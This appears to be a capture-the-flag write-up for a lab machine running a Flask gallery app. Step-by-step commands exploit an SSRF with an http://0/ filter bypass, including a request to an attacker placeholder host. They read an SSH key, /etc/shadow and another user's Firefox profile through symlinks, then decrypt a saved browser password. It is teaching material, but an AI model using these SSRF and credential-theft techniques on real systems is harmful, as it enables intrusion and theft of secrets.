Summary
The London Bridge is built around a Flask "Explore London" gallery app served behind Gunicorn. A hidden /view_image endpoint takes a form-encoded URL and fetches it server-side - classic SSRF - but the visible image_url parameter isn't the one actually wired up in the code; fuzzing form field names is needed to discover the real parameter is www. The app blocks localhost/127.0.0.1/0.0.0.0 by string-matching the URL, which is trivially bypassed using the alternate loopback representation http://0/. That SSRF is then pointed at a root-owned Python http.server bound to 127.0.0.1:80 running from the target's own home directory, which - because it runs as root - happily serves files regardless of normal Unix permissions. Reading .ssh/id_rsa through the SSRF gives a private key, and its authorized_keys comment identifies the right user (beth) to use it with, for direct SSH access. From there, symlink tricks (ln -s /root root_dir_link, ln -s /etc/shadow shadow_link, ln -s /home/charles charles_dir) combined with the same root-run HTTP server + SSRF let us read /etc/shadow, a root-only flag file, and another user's entire Firefox profile - all without ever needing an actual root shell. The Firefox profile is decrypted locally (after working around a binary-corruption issue caused by proxying binary files through Flask's requests.get().text) to recover a saved browser credential.
Attack Chain
nmap -> SSH (22) + Gunicorn "Explore London" app (8080)
|
/gallery -> image upload form, .php upload blocked by PIL-based image validation
|
Hidden /view_image endpoint -> visible "image_url" field does nothing; ffuf discovers real param is "www"
|
Confirmed SSRF: www=http://<ATTACKER_IP>/evil.php -> server fetches attacker URL
|
is_local() filter blocks literal "localhost"/"127.0.0.1"/"0.0.0.0" strings
|
Bypass with alternate loopback notation: www=http://0/...
|
SSRF reaches a root-run "python3 -m http.server 80 --bind 127.0.0.1" serving beth's home dir
|
Read .ssh/id_rsa + .ssh/authorized_keys (comment: beth@london) via SSRF -> SSH as beth
|
app.py source confirms the "www" param + is_local() filter -> user.txt flag
|
ss/ps aux confirms root owns the internal port-80 http.server
|
Symlink tricks (root_dir_link -> /root, shadow_link -> /etc/shadow, charles_dir -> /home/charles)
|
SSRF + root-run http.server reads ANY file on disk regardless of Unix perms
|
Root flag + full /etc/shadow dump + charles' entire Firefox profile, all without a root shell
|
Firefox profile decrypted locally -> Charles' saved browser credential
Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 58:c1:e4:79:ca:70:bc:3b:8d:b8:22:17:2f:62:1a:34 (RSA)
| 256 2a:b4:1f:2c:72:35:7a:c3:7a:5c:7d:47:d6:d0:73:c8 (ECDSA)
|_ 256 1c:7e:d2:c9:dd:c2:e4:ac:11:7e:45:6a:2f:44:af:0f (ED25519)
8080/tcp open http Gunicorn
|_http-title: Explore London
|_http-server-header: gunicorn
curl http://<MACHINE_IP>:8080/
<title>Explore London</title>
...
<h1>Welcome to Explore London</h1>
<nav>
<a href="/">Home</a>
<a href="#">Attractions</a>
<a href="#">Events</a>
<a href="/gallery">Gallery</a>
<a href="/contact">Contact</a>
</nav>
whatweb http://<MACHINE_IP>:8080/
http://<MACHINE_IP>:8080/ [200 OK] HTML5, HTTPServer[gunicorn], Title[Explore London]
The gallery page has an upload form:
curl http://<MACHINE_IP>:8080/gallery
<h1>London Gallery</h1>
<div class="container">
<img class="image" src="/uploads/www.usnews.jpeg" alt="www.usnews.jpeg">
<img class="image" src="/uploads/04.jpg" alt="04.jpg">
<img class="image" src="/uploads/Untitled.png" alt="Untitled.png">
<img class="image" src="/uploads/images.jpeg" alt="images.jpeg">
<img class="image" src="/uploads/e3.jpg" alt="e3.jpg">
<img class="image" src="/uploads/caption.jpg" alt="caption.jpg">
<img class="image" src="/uploads/Thames.jpg" alt="Thames.jpg">
</div>
<h5>Visited London recently? Contribute to the gallery</h5>
<form method="POST" action="/upload" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
<!--To devs: Make sure that people can also add images using links-->
That HTML comment - "Make sure that people can also add images using links" - is a strong hint that a URL-based image feature exists somewhere, even if it's not linked from this page.
Directory brute-force confirmed the visible routes and turned up two 405-responding endpoints (GET not allowed, meaning they expect POST):
feroxbuster -u http://<MACHINE_IP>:8080/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt
200 GET 54l 125w 1722c http://<MACHINE_IP>:8080/gallery
200 GET 59l 127w 1703c http://<MACHINE_IP>:8080/contact
200 GET 82l 256w 2682c http://<MACHINE_IP>:8080/
405 GET 4l 23w 178c http://<MACHINE_IP>:8080/feedback
405 GET 4l 23w 178c http://<MACHINE_IP>:8080/upload
200 GET ... http://<MACHINE_IP>:8080/uploads/images.jpeg
200 GET ... http://<MACHINE_IP>:8080/uploads/e3.jpg
200 GET ... http://<MACHINE_IP>:8080/uploads/caption.jpg
200 GET ... http://<MACHINE_IP>:8080/uploads/04.jpg
200 GET ... http://<MACHINE_IP>:8080/uploads/www.usnews.jpeg
200 GET ... http://<MACHINE_IP>:8080/uploads/Thames.jpg
200 GET ... http://<MACHINE_IP>:8080/uploads/Untitled.png
405 GET 4l 23w 178c http://<MACHINE_IP>:8080/view_image
200 GET 32l 67w 823c http://<MACHINE_IP>:8080/dejaview
/view_image and /upload both need POST. Tried uploading a plain PHP web shell first:
i tried uploading a php but no use
Confirmed why by reading app.py later - uploads are validated with Pillow (Image.open(...).verify()), so anything that isn't a real image gets deleted server-side immediately after upload.
Vulnerability Discovery: SSRF via /view_image (wrong parameter first)
/view_image renders a form with a field named image_url:
<form action="/view_image" method="post">
<label for="image_url">Enter Image URL:</label><br>
<input type="text" id="image_url" name="image_url" required><br><br>
<input type="submit" value="View Image">
</form>
Submitting a URL through the browser form and watching the Network tab (screenshot) showed the POST body actually being sent was image_url: "/uploads/Thames.jpg" - and the response just echoed the field back into the page without fetching anything server-side. The visible field alone doesn't drive any SSRF behavior on its own.
Testing directly with curl against the visible field name also went nowhere useful:
curl http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -F 'www=http://<ATTACKER_IP>/evil.php'
<h1>View Image</h1>
<form action="/view_image" method="post">
<label for="image_url">Enter Image URL:</label><br>
...
</form>
No fetch happened yet - -F sends multipart form data, not application/x-www-form-urlencoded despite the header, so the field was never actually parsed as expected by the server. Fuzzed the parameter name itself against the endpoint to find what it actually expects:
ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'FUZZ=http://<ATTACKER_IP>/evil' -mc all -fs 823
www [Status: 200, Size: 335, Words: 84, Lines: 14, Duration: 149ms]
The real parameter is www, not image_url. Confirmed with a listener:
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://<ATTACKER_IP>/evil.php'
10.48.156.179 - - [10/Aug/2026 23:09:57] code 404, message File not found
10.48.156.179 - - [10/Aug/2026 23:09:57] "GET /evil HTTP/1.1" 404 -
Confirmed: the server-side app fetches whatever URL is placed in www and returns the response body. Full-blown SSRF.
Bypassing the localhost Filter
Direct attempts at internal addresses were blocked:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1/'
(no useful output - blocked/empty)
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://127.0.0.1:5000/'
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have the permission to access the requested resource. It is either read-protected or not readable by the server.</p>
Tried the numeric all-zero loopback notation instead of the literal string 127.0.0.1:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/'
<HTML>
<body bgcolor="gray">
<h1>London brigde</h1>
<img height=400px width=600px src ="static/1.webp"><br>
<font type="monotype corsiva" size=18>London Bridge is falling down<br>
Falling down, falling down<br>
London Bridge is falling down<br>
My fair lady<br>
...
</font>
</body>
</HTML>
http://0/ resolves to 0.0.0.0 (loopback) but doesn't contain the literal blocked substrings, so the filter is bypassed and we're now hitting an internal-only web service the app couldn't otherwise reach from outside. This confirmed via the app's own source later (app.py):
def is_local(url):
if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
return True
return False
A pure substring blacklist - 0 (bare) never appears in that list.
Enumerating the Internal Service via SSRF
Fuzzed for files/directories reachable through the SSRF against this internal server:
ffuf -u http://<MACHINE_IP>:8080/view_image -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-words.txt -H 'Content-Type: application/x-www-form-urlencoded' -X POST -d 'www=http://0/FUZZ' -fs 823,469
templates [Status: 200, Size: 1294, Words: 358, Lines: 44, Duration: 67ms]
uploads [Status: 200, Size: 630, Words: 23, Lines: 22, Duration: 56ms]
static [Status: 200, Size: 420, Words: 19, Lines: 18, Duration: 157ms]
. [Status: 200, Size: 1270, Words: 230, Lines: 37, Duration: 73ms]
.cache [Status: 200, Size: 474, Words: 19, Lines: 18, Duration: 78ms]
.local [Status: 200, Size: 414, Words: 19, Lines: 18, Duration: 135ms]
.ssh [Status: 200, Size: 399, Words: 18, Lines: 17, Duration: 133ms]
.bashrc [Status: 200, Size: 3771, Words: 522, Lines: 118, Duration: 131ms]
.bash_logout [Status: 200, Size: 220, Words: 35, Lines: 8, Duration: 59ms]
.bash_history [Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 142ms]
This internal server on 0.0.0.0/port 80 is a plain directory listing HTTP server rooted at a user's home directory (templates, static, uploads match the Flask app's own project layout - the internal server is literally serving the app's project root, home-directory style). .ssh shows up as a listable directory:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/'
<title>Directory listing for /.ssh/</title>
<ul>
<li><a href="authorized_keys">authorized_keys</a></li>
<li><a href="id_rsa">id_rsa</a></li>
</ul>
Extracting the SSH Private Key via SSRF
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa'
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAz1yFrg9FAZAI4R37aQWn/ePTk/MKfz2KQ+OE45KErguL34Yj
...
7MDu4QKBgFIomwhD+jmr3Vc2HutYkl3zliSD239sH3k118sTHbedvKH5Q7nw0C+U
a7RMp/cXWZKdyRgFxQ7DQEorzWi5bLAyxXnMg0ghwWdf4nugQmaEG7t+OYUNsf7M
fDLzMA915WcODR6L0mWO0crAMbZQOkg1KlAiwQSQmuUpPqyAfq6x
-----END RSA PRIVATE KEY-----
Saved it and locked down permissions:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/id_rsa' -s | tee id_rsa
chmod 600 id_rsa
Guessed the wrong user first:
ssh -i id_rsa www@<MACHINE_IP>
www@<MACHINE_IP>: Permission denied (publickey).
Pulled authorized_keys too, which carries a comment identifying the actual owning user:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/.ssh/authorized_keys'
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDPXIWuD0UBkAjhHftpBaf949OT8wp/PYpD44TjkoSuC4vfhiPkpzVUmMNNM1GZz681FmJ4LwTB6VaCnBwoAJrvQp7ar/vNEtYeHbc5TFaJIAA5FN5rWzl66zeCFNaNx841E4CQSDs7dew3CCn3dRQHzBtT4AOlmcUs9QMSsUqhKn53EbivHCqkCnqZqqwTh0hkd0Cr5i3r/Yc4REqsVaI41Cl3pkDxrfbmhZdjxRpES8pO5dyOUvnq3iJZDOxFBsG8H4RODaZrTW78eZbcz1LKug/KlwQ6q8+e4+mpcdm7sHAAszk0eFcI2a37QQ4Fgq96OwMDo15l8mDDrk1Ur7aF beth@london
Comment beth@london gives the right username:
ssh -i id_rsa beth@<MACHINE_IP>
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-112-generic x86_64)
Last login: Mon May 13 22:38:30 2024 from 192.168.62.137
beth@london:~$ whoami
beth
beth@london:~$ id
uid=1000(beth) gid=1000(beth) groups=1000(beth)
Post-Exploitation as beth
ls -la
-rw-rw-r-- 1 beth beth 3215 Apr 17 2024 app.py
-rw-rw-r-- 1 beth beth 328 Apr 17 2024 gunicorn_config.py
-rw-r--r-- 1 beth beth 1270 Apr 17 2024 index.html
drwxrwxr-x 6 beth beth 4096 Sep 17 2023 .env
drwxrwxr-x 2 beth beth 4096 Apr 17 2024 static
drwxrwxr-x 2 beth beth 4096 Apr 17 2024 templates
drwxrwxr-x 2 beth beth 4096 Aug 10 19:52 uploads
Full app source confirms the vulnerable routes:
cat app.py
from flask import Flask, render_template, request, send_from_directory, redirect, url_for, abort
import os
from PIL import Image
import requests
from werkzeug.utils import secure_filename
import base64
def is_local(url):
if 'localhost' in url or '127.0.0.1' in url or '0.0.0.0' in url:
return True
return False
app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'
app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
def is_image(file_path):
try:
with Image.open(file_path) as img:
img.verify()
return True
except:
return False
@app.route('/')
def home():
return render_template('london.html')
@app.route('/gallery')
def gallery():
filenames = os.listdir(app.config['UPLOAD_FOLDER'])
return render_template('index.html', filenames=filenames)
def home():
url = request.form.get('www', '')
if is_local(url):
abort(403)
if url:
return requests.get(url).text
return "We are currently trying to take pictures as a URL too"
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return "No file part"
file = request.files['file']
if file.filename == '':
return "No selected file"
if file:
filename = secure_filename(file.filename)
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)
if is_image(file_path):
return redirect(url_for('gallery'))
else:
os.remove(file_path)
return "Uploaded file is not an image"
return "Invalid file"
@app.route('/uploads/<filename>')
def download_file(filename):
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)
@app.route('/dejaview')
def view():
return render_template('view.html')
@app.route('/view_image', methods=['POST'])
def view_image():
image_url = request.form.get('image_url', '')
url = request.form.get('www', '')
if is_local(url):
abort(403)
if url:
return requests.get(url).text
return render_template('view.html', image_url=image_url)
@app.route('/contact')
def contact():
return render_template('contact.html')
@app.route('/feedback', methods=['POST'])
def feedback():
name = request.form.get('name')
email = request.form.get('email')
message = request.form.get('message')
print(f"Received feedback from {name} ({email}): {message}")
return render_template('feedback_response.html', name=name)
if __name__ == '__main__':
app.run(host='0.0.0.0',port=8080)
Confirms exactly what was reverse-engineered from the outside: image_url is cosmetic, www is the real SSRF sink, and is_local() is a naive substring check.
find / -type f -name 'user.txt' 2>/dev/null
/home/beth/__pycache__/user.txt
cat /home/beth/__pycache__/user.txt
-
Confirming the Internal Server Runs as Root
ss -tulnp
tcp LISTEN 0 128 0.0.0.0:8080 0.0.0.0:*
tcp LISTEN 0 5 127.0.0.1:80 0.0.0.0:*
tcp LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
ps aux | grep 80
root 1 0.0 0.4 159468 8808 ? Ss 19:32 0:01 /sbin/init noprompt
root 447 0.4 0.8 56956 17300 ? Ss 19:32 0:14 /usr/bin/python3 -m http.server 80 --bind 127.0.0.1
The internal service the SSRF reaches on port 80 is a stock python3 -m http.server running as root, bound only to loopback. Since it's root, it can (and does) serve files regardless of the filesystem's normal Unix read permissions on the directory it's rooted in - and since it's loopback-only, the app's SSRF is the only way to reach it from outside.
ls -la /home/charles/
ls: cannot open directory '/home/charles/': Permission denied
Directly, beth can't read charles's home directory. But the SSRF into the root-run server sidesteps that entirely.
Reading Root-Owned Files Without a Root Shell (Symlink + SSRF)
The root http.server serves whatever directory it was started in (beth's home). Symlinks placed inside that directory get followed and served with root's read access - so instead of trying to escalate to an actual root shell, we can just point the server at whatever we want to read:
ln -s /root/root.txt root_flag_link
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_flag_link'
404 - Nothing matches the given URI.
root.txt at that exact path doesn't exist - checked with a directory symlink instead:
ln -s /root root_dir_link
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/'
<title>Directory listing for /root_dir_link/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".cache/">.cache/</a></li>
<li><a href=".gnupg/">.gnupg/</a></li>
<li><a href=".local/">.local/</a></li>
<li><a href=".profile">.profile</a></li>
<li><a href=".root.txt">.root.txt</a></li>
<li><a href=".selected_editor">.selected_editor</a></li>
<li><a href="__pycache__/">__pycache__/</a></li>
<li><a href="flag.py">flag.py</a></li>
<li><a href="flag.pyc">flag.pyc</a></li>
<li><a href="test.py">test.py</a></li>
</ul>
The flag is hidden as .root.txt (dotfile), not root.txt:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/root_dir_link/.root.txt'
-
Root-owned flag recovered with zero privilege escalation on the box itself - purely by abusing the root-run internal HTTP server's willingness to follow a symlink beth was allowed to create.
Used the same trick against /etc/shadow:
ln -s /etc/shadow shadow_link
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/shadow_link'
root:$6$MuyQc/EB$TJ0f4UvSAQ/e8N2ehICim6KRPqsD2RBqQHRtaxluPLxeWazD3PU5RCc35JR62gKK6WvpA9v0r73jswtU4KSLU/:19792:0:99999:7:::
...
beth:$6$A/tivpZQ$Cgshl0A8kvAR08NLdpSeeZwimPLbipJ.KrVuWVOvKu8AT7cl8b1J5.2VvaS0fu8sa74Jd7pdNpqN/gmFLOC6W.:19807:0:99999:7:::
sshd:*:19616:0:99999:7:::
charles:$6$yO4vvijF$RIQZn9g5y5s3cP61AvKHe9ou2miZgmPdzlf.4gWinIEaG4PyBFPm5cgm0OMQF18./TBhs48Q/UmjOCs/ye7dV0:19798:0:99999:7:::
Full /etc/shadow including root, beth, and charles password hashes, read purely through the SSRF + symlink combo.
Pivoting to Charles' Firefox Profile
Same technique against charles's home directory:
ln -s /home/charles charles_dir
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir'
<title>Directory listing for /charles_dir/</title>
<ul>
<li><a href=".bash_history">.bash_history@</a></li>
<li><a href=".bash_logout">.bash_logout</a></li>
<li><a href=".bashrc">.bashrc</a></li>
<li><a href=".mozilla/">.mozilla/</a></li>
<li><a href=".profile">.profile</a></li>
</ul>
Walked into the Firefox profile:
curl -X POST http://<MACHINE_IP>:8080/view_image -H 'Content-Type: application/x-www-form-urlencoded' -d 'www=http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles'
<title>Directory listing for /charles_dir/.mozilla/firefox/8k3bf3zp.charles/</title>
<ul>
<li><a href="cert9.db">cert9.db</a></li>
<li><a href="cookies.sqlite">cookies.sqlite</a></li>
<li><a href="key4.db">key4.db</a></li>
<li><a href="logins-backup.json">logins-backup.json</a></li>
<li><a href="logins.json">logins.json</a></li>
<li><a href="places.sqlite">places.sqlite</a></li>
... (full profile directory listing, dozens of standard Firefox profile files)
</ul>
cert9.db, key4.db, and logins.json are exactly what's needed to decrypt saved browser passwords offline. Pulled the whole profile through the SSRF with a small download loop:
mkdir profile && cd profile
cat > download.sh << 'EOF'
BASE="http://<MACHINE_IP>:8080/view_image"
DIR="http://0/charles_dir/.mozilla/firefox/8k3bf3zp.charles"
for f in .parentlock addons.json addonStartup.json.lz4 AlternateServices.txt \
broadcast-listeners.json cert9.db compatibility.ini containers.json \
content-prefs.sqlite cookies.sqlite extension-preferences.json \
extensions.json favicons.sqlite formhistory.sqlite handlers.json \
key4.db logins-backup.json logins.json permissions.sqlite pkcs11.txt \
places.sqlite prefs.js protections.sqlite search.json.mozlz4 \
sessionCheckpoints.json sessionstore.jsonlz4 shield-preference-experiments.json \
SiteSecurityServiceState.txt storage-sync-v2.sqlite storage-sync-v2.sqlite-shm \
storage-sync-v2.sqlite-wal storage.sqlite times.json webappsstore.sqlite \
xulstore.json; do
echo "Fetching $f..."
curl -s -X POST "$BASE" \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "www=${DIR}/${f}" -o "$f"
done
bash download.sh
Fetching .parentlock...
Fetching addons.json...
...
Fetching key4.db...
...
Fetching xulstore.json...
Fixing Binary Corruption from the SSRF Proxy
firefox_decrypt failed immediately against the pulled files:
python3 firefox_decrypt/firefox_decrypt.py profile/
WARNING - profile.ini not found in profile/
ERROR - Couldn't initialize NSS, maybe 'profile/' is not a valid profile?
file profile/key4.db profile/cert9.db
xxd profile/key4.db | head -3
profile/key4.db: SQLite 3.x database, ... page size 57986 ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300 SQLite format 3.
00000010: e282 ac00 0101 0040 2020 0000 0004 0000 .......@ ......
The header parses as a valid-looking SQLite file, but the field values (page size 57986, oversized page/database counts) are nonsensical for a real Firefox profile - the byte e2 82 ac at offset 0x10 is the UTF-8 encoding of the € (Euro sign) character, which is exactly what you get when a raw byte like 0x80 gets misinterpreted as CP1252/Latin-1 and re-encoded as UTF-8. That's the app's own requests.get(url).text doing implicit text decoding on binary data before we ever saw it - every binary file pulled through the SSRF was silently mangled.
Tried reversing the mangling locally:
cat > fix.py << 'EOF'
import sys
def fix_file(path, outpath):
with open(path, 'rb') as f:
data = f.read()
try:
text = data.decode('utf-8')
fixed = text.encode('latin-1')
with open(outpath, 'wb') as out:
out.write(fixed)
print(f"{path}: decoded/re-encoded successfully, {len(data)} -> {len(fixed)} bytes")
except UnicodeDecodeError as e:
print(f"{path}: FAILED - {e}")
except UnicodeEncodeError as e:
print(f"{path}: FAILED on re-encode - {e}")
if __name__ == "__main__":
fix_file(sys.argv[1], sys.argv[2])
EOF
python3 fix.py key4.db key4_fixed.db
key4.db: FAILED on re-encode - 'latin-1' codec can't encode character '\u20ac' in position 16: ordinal not in range(256)
Tried cp1252 instead of latin-1 (since € specifically only exists in cp1252's extended range, not raw latin-1):
python3 fix.py key4.db key4_fixed.db
key4.db: FAILED on re-encode - 'charmap' codec can't encode character '\ufffd' in position 31299: character maps to <undefined>
Still failing - some bytes got replaced with the Unicode replacement character (�, U+FFFD) during the original requests.get().text decode, meaning information was permanently lost the moment the SSRF response was decoded as text server-side. No local re-encoding trick can recover bytes that were already thrown away. The fix has to happen before the data crosses that lossy text boundary - i.e., fetch the files locally on the target (where they're still raw bytes) instead of proxying them through the Flask app's .text property.
Since beth has a normal shell, just used wget directly against the same internal root-run server from inside the box (loopback access is unrestricted once you're already local, and wget preserves binary data correctly):
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/key4.db -O /tmp/key4.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/cert9.db -O /tmp/cert9.db
wget http://127.0.0.1/charles_dir/.mozilla/firefox/8k3bf3zp.charles/logins.json -O /tmp/logins.json
Then pulled the now-clean files back to the attacker box over SCP (proper binary transfer, no text decoding involved anywhere):
scp -i id_rsa beth@<MACHINE_IP>:/tmp/key4.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/cert9.db .
scp -i id_rsa beth@<MACHINE_IP>:/tmp/logins.json .
key4.db 100% 288KB 1.2MB/s 00:00
cert9.db 100% 224KB 979.4KB/s 00:00
logins.json 100% 645 8.5KB/s 00:00
file key4.db cert9.db
xxd key4.db | head -3
key4.db: SQLite 3.x database, last written using SQLite version 3041002, page size 32768, ...
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300 SQLite format 3.
00000010: 8000 0101 0040 2020 0000 0004 0000 0009 .....@ ........
Sane page size, sane header - clean binary this time.
Decrypting the Firefox Profile
mkdir ../profile_clean
cp key4.db cert9.db logins.json ../profile_clean/
python3 ../firefox_decrypt/firefox_decrypt.py ../profile_clean/
WARNING - profile.ini not found in ../profile_clean/
Continuing and assuming '../profile_clean/' is a profile location
Website: https://www.buckinghampalace.com
Username: 'Charles'
Password: 'thekingofengland'
Charles' saved browser login recovered.
Key Vulnerabilities
| # | Vulnerability | Location | Impact |
|---|---|---|---|
| 1 | Hidden/undocumented SSRF parameter (www) not matching the visible form field (image_url) |
/view_image |
Discoverable only via parameter fuzzing; classic "the UI lies about what the backend accepts" |
| 2 | Full Server-Side Request Forgery, response body returned verbatim to the client |
requests.get(url).text in view_image()/home()
|
Arbitrary internal network/file access from an unauthenticated endpoint |
| 3 | Substring-based localhost/127.0.0.1/0.0.0.0 blacklist |
is_local() in app.py
|
Trivially bypassed with alternate loopback notation (http://0/) |
| 4 | Root-owned, unauthenticated python3 -m http.server bound to loopback, serving a user's home directory |
Internal port 80 | Combined with the SSRF, becomes an arbitrary-file-read-as-root primitive |
| 5 | HTTP directory listing follows symlinks and serves target content with the server process's permissions, not the symlink creator's | Same internal server | Lets a low-privilege user (beth) read /root, /etc/shadow, and another user's home directory without ever escalating privileges locally |
| 6 |
requests.get(url).text silently mis-decodes binary responses as text |
SSRF response handling | Corrupts any binary file (SQLite DBs, keys, images) proxied through the endpoint - a real "feature", not a security bug per se, but a serious trap for exploit reliability |
Lessons / Takeaways
-
Never trust that a visible form field name matches the backend parameter actually being used. The exposed
image_urlfield was a decoy (or leftover dead code); the real sink (www) had to be found by fuzzing, not by reading the HTML form. -
SSRF filters built on substring blacklists of
127.0.0.1/localhostare incomplete without also blocking alternate IP notations (0,0x7f000001,017700000001, IPv6::1, decimal/octal forms, etc.). Any of these can slip straight past a naive string check. -
Running any service - even a "harmless" quick
python3 -m http.server- as root is dangerous, especially bound to loopback "because it's internal." Loopback-only doesn't mean unreachable; any SSRF anywhere on the box turns it into a root-privileged file oracle. -
A directory-serving HTTP daemon that follows symlinks inherits the process's read permissions, not the symlink owner's. This is exactly how
beth, without ever getting a root shell, read/root,/etc/shadow, andcharles's entire home directory - each just aln -splus a GET request away. -
Binary data proxied through a web app's convenience
.textaccessor (rather than.content) will get corrupted. Once bytes are decoded as text and characters get replaced (U+FFFD), that data is gone for good - the only fix is to avoid the text-decoding round-trip entirely, e.g. by fetching binary files locally on the target instead of relying on the vulnerable app to proxy them back out.
Top comments (0)